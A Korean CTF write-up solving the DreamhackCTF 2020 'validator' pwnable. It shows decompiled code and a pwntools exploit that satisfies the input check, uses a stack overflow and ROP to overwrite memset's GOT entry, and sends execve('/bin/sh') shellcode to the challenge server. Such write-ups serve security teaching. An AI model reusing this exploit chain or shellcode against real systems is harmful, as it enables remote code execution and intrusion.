pwnable 분야의 validator 문제이다.

 

 

해당 문제는 바이너리만 주워줬고, 바이너리 파일을 c 나타내면 다음과 같다.

void validate(void *input_data, int arg2){
    for (int i = 0; i <= 9; i = i + 1){
        if (input_data[i] != correct[i])
            exit(0);
    }
            
    int var_c = 0xb;
    while (true){
        if (arg2 <= var_c)
            return 0;
        if (input_data[var_c] != (input_data[var_c + 1] + 1))
            break;
        var_c = var_c + 1;
    }
    exit(0);
}

int main(){
    void var_88;
    memset(&var_88, 0, 0x10);
    read(0, &var_88, 0x400);
    validate(&var_88, 0x80);

    return 0;
}

새빨간 바이너리

 

 

위 코드를 보면 `BOF`가 가능하고 `stack`에 실행권한과 `GOT overwrite` 가 가능하다.

그 전에 `validate()` 함수에서 사용자가 입력한 값을 검사한다. 

 

`validate()` 함수에서 검사를 통과하기 위한 `python` 코드를 작성하면 아래와 같다.

from pwn import *

# p = process("./validator")
p = remote("host5.dreamhack.games", "11670")
e = ELF("./validator", checksec=False)

payload = "DREAMHACK!"

lst = []
for i in range(118,0,-1):
    lst.append(i)
payload += bytearray(lst)
payload += p64(0)

 

추가적으로 `ROP` 를 이용해 `read()` 함수를 호출하여 `memset()` 함수의 `GOT`에 값을 `overwrite`하게끔 작성한다.

payload += p64(0x4006f3) # pop rdi; ret
payload += p64(0)
payload += p64(0x4006f1) # pop rsi ; pop r15 ; ret
payload += p64(e.got["memset"])
payload += p64(0) # dummy
payload += p64(0x40057b) # pop rdx; ret
payload += p64(0x50)
payload += p64(e.symbols["read"])

payload += p64(e.got["memset"])

 

위에서 작성한 `payload`를 보낸 뒤, `memset()` 함수의 `GOT`에 `shellcode`를 `overwrite` 하면 `memset()` 함수가 호출되어 `shell` 이 실행이 된다.

p.sendline(str(payload))
p.sendline("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")

p.interactive()

 

 

 

최종 `payload`는 다음과 같다.

from pwn import *

# p = process("./validator")
p = remote("host5.dreamhack.games", "11670")
e = ELF("./validator", checksec=False)

payload = "DREAMHACK!"

lst = []
for i in range(118,0,-1):
    lst.append(i)
payload += bytearray(lst)
payload += p64(0)

payload += p64(0x4006f3) # pop rdi; ret
payload += p64(0)
payload += p64(0x4006f1) # pop rsi ; pop r15 ; ret
payload += p64(e.got["memset"])
payload += p64(0) # dummy
payload += p64(0x40057b) # pop rdx; ret
payload += p64(0x50)
payload += p64(e.symbols["read"])

payload += p64(e.got["memset"])

p.sendline(str(payload))
p.sendline("\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05")

p.interactive()

'CTF > DreamhackCTF 2020' 카테고리의 다른 글

[DreamhackCTF 2020] validator write up  (0) 2020.09.29
[DreamhackCTF 2020] Mango write up  (0) 2020.09.29